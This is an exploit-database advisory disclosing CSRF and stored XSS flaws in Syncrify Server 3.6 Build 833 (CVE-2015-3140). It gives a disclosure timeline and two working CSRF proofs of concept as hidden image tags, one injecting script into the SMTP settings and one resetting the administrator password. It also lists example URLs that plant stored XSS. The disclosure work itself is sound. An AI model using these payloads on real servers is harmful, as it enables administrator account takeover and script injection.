Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)

vendor:

Syncrify Server

by:

Marlow Tannhauser

7.5

CVSS

HIGH

CSRF/Stored XSS

352

CWE

Product Name: Syncrify Server

Affected Version From: 3.6 Build 833

Affected Version To: 3.6 Build 833

Patch Exists: Yes

Related CWE: 2015-3140

CPE: a:synametrics:syncrify_server:3.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)

Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities. The following PoC uses the CSRF vulnerability to change the administrator password.

Mitigation:

The vendor has released a patch to address the vulnerabilities.

Source

Exploit-DB raw data:

# Exploit Title: Multiple vulnerabilities in Syncrify Server 3.6 Build 833 (CSRF/Stored XSS)
# Date: 07-05-2015
# Exploit Author: Marlow Tannhauser
# Contact: marlowtannhauser@gmail.com
# Vendor Homepage: http://www.synametrics.com
# Software Link: http://web.synametrics.com/SyncrifyDownload.htm
# Version: 3.6 Build 833. Earlier versions may also be affected.
# CVE: 2015-3140
# Category: Web apps


# DISCLOSURE TIMELINE #
08/02/2015: Initial disclosure to vendor and CERT
09/02/2015: Acknowledgment of vulnerabilities from vendor
11/02/2015: Disclosure deadline of 01/03/2015 agreed with vendor
19/02/2015: Disclosure deadline renegotiated to 01/04/2015 at vendor's request
09/04/2015: Disclosure deadline renegotiated to 20/04/2015 at vendor's request
20/04/2015: Confirmation of fix from vendor
07/05/2015: Disclosure

Note that the CVE-ID is for the CSRF vulnerability only. No CVE-ID has been generated for the stored XSS vulnerabilities. The vulnerable version of the product is no longer available for download from the vendor's webpage.


# EXPLOIT DESCRIPTION #
Syncrify 3.6 Build 833 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests.


# POC 1 #
The following PoC uses the CSRF vulnerability to change the SMTP settings in the application, and combines it with two of the stored XSS vulnerabilities.

<html>
<img src="http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp" alt="" width="1" height="1">
</html>


# POC 2 #
The following PoC uses the CSRF vulnerability to change the administrator password.

<html>
<img src="http://192.168.0.8:5800/app?adminPassword=MARLOW&alertInvalidPassword=true&blockIP=false&alertManualPath=false&proceedButton=Save&operation=config&st=saveSecurity" width="0" height="0" border="0">
</html>


# STORED XSS VULNERABILITIES #
Stored XSS vulnerabilities are present in the following fields:

Manage Users > Add New User > User's Full Name [displayed in Reports > Backup report by user]
Example URL: http://192.168.0.8:5800/app?fullName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&login=user%40user.com&password=password&numVersionsToKeep=0&diskQuota=-1&selectedPath=%2Fhome%2F&operation=manageUsers&st=addUser#

Configuration > Email Configuration > Administrator's Email [displayed in Troubleshoot and Reports pages]
Example URL: http://192.168.0.8:5800/app?adminEmail=%3Cscript%3Ealert%28VICTIM%29%3C%2Fscript%3E&smtpServer=127.0.0.1&smtpPort=25&smtpUser=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&smtpPassword=admin&smtpSecurity=None&proceedButton=Save&operation=config&st=saveSmtp


# MITIGATION #
Upgrade to the latest build of Syncrify Server, available from the link shown.